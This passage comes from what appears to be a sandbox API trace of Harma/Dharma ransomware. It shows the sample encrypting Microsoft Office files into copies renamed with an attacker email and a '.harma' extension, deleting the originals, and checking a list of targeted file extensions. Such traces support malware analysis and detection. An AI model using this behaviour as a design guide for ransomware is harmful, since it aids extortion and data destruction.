office\\office14\\convert\\desksam.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0169.971] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.971] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.972] GetLastError () returned 0x0 [0169.972] ReadFile (in: hFile=0x34c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x5b80, lpOverlapped=0x0) returned 1 [0170.092] WriteFile (in: hFile=0x370, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x5b90, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x5b90, lpOverlapped=0x0) returned 1 [0170.094] ReadFile (in: hFile=0x34c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0170.094] WriteFile (in: hFile=0x370, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xea, lpOverlapped=0x0) returned 1 [0170.094] SetEndOfFile (hFile=0x370) returned 1 [0170.094] CloseHandle (hObject=0x370) returned 1 [0170.094] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.094] SetEndOfFile (hFile=0x34c) returned 1 [0170.097] CloseHandle (hObject=0x34c) returned 1 [0170.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.098] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam")) returned 1 [0170.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0170.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0170.099] lstrlenW (lpString=".doc") returned 4 [0170.099] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0170.099] lstrlenW (lpString=".docx") returned 5 [0170.099] lstrcmpiW (lpString1=".docx", lpString2="M.SAM") returned -1 [0170.099] lstrlenW (lpString=".pdf") returned 4 [0170.099] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0170.099] lstrlenW (lpString=".xls") returned 4 [0170.100] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0170.100] lstrlenW (lpString=".xlsx") returned 5 [0170.100] lstrcmpiW (lpString1=".xlsx", lpString2="M.SAM") returned -1 [0170.100] lstrlenW (lpString=".ppt") returned 4 [0170.100] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0170.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0170.100] lstrlenW (lpString=".zip") returned 4 [0170.100] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0170.100] lstrlenW (lpString=".rar") returned 4 [0170.100] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0170.100] lstrlenW (lpString=".bz2") returned 4 [0170.100] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0170.100] lstrlenW (lpString=".7z") returned 3 [0170.100] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0170.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0170.100] lstrlenW (lpString=".dbf") returned 4 [0170.100] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0170.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0170.100] lstrlenW (lpString=".1cd") returned 4 [0170.100] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0170.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0170.100] lstrlenW (lpString=".jpg") returned 4 [0170.100] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0170.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0170.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0170.101] lstrlenW (lpString=".doc") returned 4 [0170.101] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0170.101] lstrlenW (lpString=".docx") returned 5 [0170.101] lstrcmpiW (lpString1=".docx", lpString2="M.SAM") returned -1 [0170.101] lstrlenW (lpString=".pdf") returned 4 [0170.101] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0170.101] lstrlenW (lpString=".xls") returned 4 [0170.101] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0170.101] lstrlenW (lpString=".xlsx") returned 5 [0170.101] lstrcmpiW (lpString1=".xlsx", lpString2="M.SAM") returned -1 [0170.101] lstrlenW (lpString=".ppt") returned 4 [0170.101] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0170.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0170.101] lstrlenW (lpString=".zip") returned 4 [0170.101] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0170.101] lstrlenW (lpString=".rar") returned 4 [0170.101] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0170.101] lstrlenW (lpString=".bz2") returned 4 [0170.101] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0170.101] lstrlenW (lpString=".7z") returned 3 [0170.101] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0170.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0170.102] lstrlenW (lpString=".dbf") returned 4 [0170.102] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0170.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0170.102] lstrlenW (lpString=".1cd") returned 4 [0170.102] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0170.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0170.102] lstrlenW (lpString=".jpg") returned 4 [0170.102] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0170.102] lstrcmpiW (lpString1=".FAE", lpString2=".harma") returned -1 [0170.102] lstrlenW (lpString="OLAPPT.FAE") returned 10 [0170.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0170.103] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=122280) returned 1 [0170.104] CloseHandle (hObject=0x34c) returned 1 [0170.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae")) returned 0x20 [0170.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0170.104] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.104] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.106] GetLastError () returned 0x0 [0170.106] ReadFile (in: hFile=0x34c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x1dda8, lpOverlapped=0x0) returned 1 [0170.208] WriteFile (in: hFile=0x370, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x1ddb0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x1ddb0, lpOverlapped=0x0) returned 1 [0170.211] ReadFile (in: hFile=0x34c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0170.211] WriteFile (in: hFile=0x370, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0170.211] SetEndOfFile (hFile=0x370) returned 1 [0170.212] CloseHandle (hObject=0x370) returned 1 [0170.212] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.212] SetEndOfFile (hFile=0x34c) returned 1 [0170.216] CloseHandle (hObject=0x34c) returned 1 [0170.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae")) returned 1 [0170.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0170.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0170.397] lstrlenW (lpString=".doc") returned 4 [0170.397] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0170.397] lstrlenW (lpString=".docx") returned 5 [0170.397] lstrcmpiW (lpString1=".docx", lpString2="T.FAE") returned -1 [0170.397] lstrlenW (lpString=".pdf") returned 4 [0170.397] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0170.397] lstrlenW (lpString=".xls") returned 4 [0170.397] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0170.397] lstrlenW (lpString=".xlsx") returned 5 [0170.397] lstrcmpiW (lpString1=".xlsx", lpString2="T.FAE") returned -1 [0170.397] lstrlenW (lpString=".ppt") returned 4 [0170.397] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0170.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0170.397] lstrlenW (lpString=".zip") returned 4 [0170.397] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0170.397] lstrlenW (lpString=".rar") returned 4 [0170.397] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0170.397] lstrlenW (lpString=".bz2") returned 4 [0170.397] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0170.397] lstrlenW (lpString=".7z") returned 3 [0170.397] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0170.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0170.397] lstrlenW (lpString=".dbf") returned 4 [0170.397] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0170.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0170.398] lstrlenW (lpString=".1cd") returned 4 [0170.398] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0170.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0170.398] lstrlenW (lpString=".jpg") returned 4 [0170.398] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0170.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0170.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0170.398] lstrlenW (lpString=".doc") returned 4 [0170.398] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0170.398] lstrlenW (lpString=".docx") returned 5 [0170.398] lstrcmpiW (lpString1=".docx", lpString2="T.FAE") returned -1 [0170.398] lstrlenW (lpString=".pdf") returned 4 [0170.398] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0170.398] lstrlenW (lpString=".xls") returned 4 [0170.398] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0170.398] lstrlenW (lpString=".xlsx") returned 5 [0170.398] lstrcmpiW (lpString1=".xlsx", lpString2="T.FAE") returned -1 [0170.398] lstrlenW (lpString=".ppt") returned 4 [0170.398] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0170.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0170.398] lstrlenW (lpString=".zip") returned 4 [0170.398] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0170.398] lstrlenW (lpString=".rar") returned 4 [0170.398] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0170.398] lstrlenW (lpString=".bz2") returned 4 [0170.398] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0170.398] lstrlenW (lpString=".7z") returned 3 [0170.399] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0170.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0170.399] lstrlenW (lpString=".dbf") returned 4 [0170.399] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0170.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0170.399] lstrlenW (lpString=".1cd") returned 4 [0170.399] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0170.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0170.399] lstrlenW (lpString=".jpg") returned 4 [0170.399] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0170.399] lstrcmpiW (lpString1=".FAE", lpString2=".harma") returned -1 [0170.399] lstrlenW (lpString="OLNOTE.FAE") returned 10 [0170.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0170.414] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=52120) returned 1 [0170.414] CloseHandle (hObject=0x338) returned 1 [0170.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae")) returned 0x20 [0170.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0170.416] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.416] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0170.417] GetLastError () returned 0x0 [0170.417] ReadFile (in: hFile=0x338, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0xcb98, lpOverlapped=0x0) returned 1 [0170.624] WriteFile (in: hFile=0x2e8, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xcba0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xcba0, lpOverlapped=0x0) returned 1 [0170.656] ReadFile (in: hFile=0x338, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0170.656] WriteFile (in: hFile=0x2e8, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0170.657] SetEndOfFile (hFile=0x2e8) returned 1 [0170.683] CloseHandle (hObject=0x2e8) returned 1 [0170.683] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.684] SetEndOfFile (hFile=0x338) returned 1 [0170.726] CloseHandle (hObject=0x338) returned 1 [0170.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae")) returned 1 [0170.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0170.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0170.727] lstrlenW (lpString=".doc") returned 4 [0170.727] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0170.727] lstrlenW (lpString=".docx") returned 5 [0170.727] lstrcmpiW (lpString1=".docx", lpString2="E.FAE") returned -1 [0170.727] lstrlenW (lpString=".pdf") returned 4 [0170.727] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0170.727] lstrlenW (lpString=".xls") returned 4 [0170.727] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0170.727] lstrlenW (lpString=".xlsx") returned 5 [0170.727] lstrcmpiW (lpString1=".xlsx", lpString2="E.FAE") returned -1 [0170.727] lstrlenW (lpString=".ppt") returned 4 [0170.727] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0170.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0170.727] lstrlenW (lpString=".zip") returned 4 [0170.727] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0170.727] lstrlenW (lpString=".rar") returned 4 [0170.727] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0170.728] lstrlenW (lpString=".bz2") returned 4 [0170.728] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0170.728] lstrlenW (lpString=".7z") returned 3 [0170.728] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0170.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0170.728] lstrlenW (lpString=".dbf") returned 4 [0170.728] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0170.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0170.728] lstrlenW (lpString=".1cd") returned 4 [0170.728] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0170.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0170.728] lstrlenW (lpString=".jpg") returned 4 [0170.728] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0170.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0170.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0170.728] lstrlenW (lpString=".doc") returned 4 [0170.728] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0170.728] lstrlenW (lpString=".docx") returned 5 [0170.728] lstrcmpiW (lpString1=".docx", lpString2="E.FAE") returned -1 [0170.728] lstrlenW (lpString=".pdf") returned 4 [0170.728] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0170.728] lstrlenW (lpString=".xls") returned 4 [0170.728] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0170.728] lstrlenW (lpString=".xlsx") returned 5 [0170.728] lstrcmpiW (lpString1=".xlsx", lpString2="E.FAE") returned -1 [0170.728] lstrlenW (lpString=".ppt") returned 4 [0170.728] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0170.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0170.729] lstrlenW (lpString=".zip") returned 4 [0170.729] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0170.729] lstrlenW (lpString=".rar") returned 4 [0170.729] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0170.729] lstrlenW (lpString=".bz2") returned 4 [0170.729] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0170.729] lstrlenW (lpString=".7z") returned 3 [0170.729] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0170.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0170.729] lstrlenW (lpString=".dbf") returned 4 [0170.729] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0170.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0170.729] lstrlenW (lpString=".1cd") returned 4 [0170.729] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0170.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0170.729] lstrlenW (lpString=".jpg") returned 4 [0170.729] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0170.730] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0170.730] lstrlenW (lpString="CSS7DATA0009.DLL") returned 16 [0170.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data0009.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0170.730] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=594352) returned 1 [0170.730] CloseHandle (hObject=0x338) returned 1 [0170.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data0009.dll")) returned 0x20 [0170.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\css7data0009.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data0009.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0170.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0170.731] lstrlenW (lpString=".doc") returned 4 [0170.731] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0170.731] lstrlenW (lpString=".docx") returned 5 [0170.731] lstrcmpiW (lpString1=".docx", lpString2="9.DLL") returned -1 [0170.731] lstrlenW (lpString=".pdf") returned 4 [0170.731] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0170.731] lstrlenW (lpString=".xls") returned 4 [0170.731] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0170.732] lstrlenW (lpString=".xlsx") returned 5 [0170.732] lstrcmpiW (lpString1=".xlsx", lpString2="9.DLL") returned -1 [0170.732] lstrlenW (lpString=".ppt") returned 4 [0170.732] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0170.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0170.732] lstrlenW (lpString=".zip") returned 4 [0170.732] lstrcmpiW (lpString1=".zip", 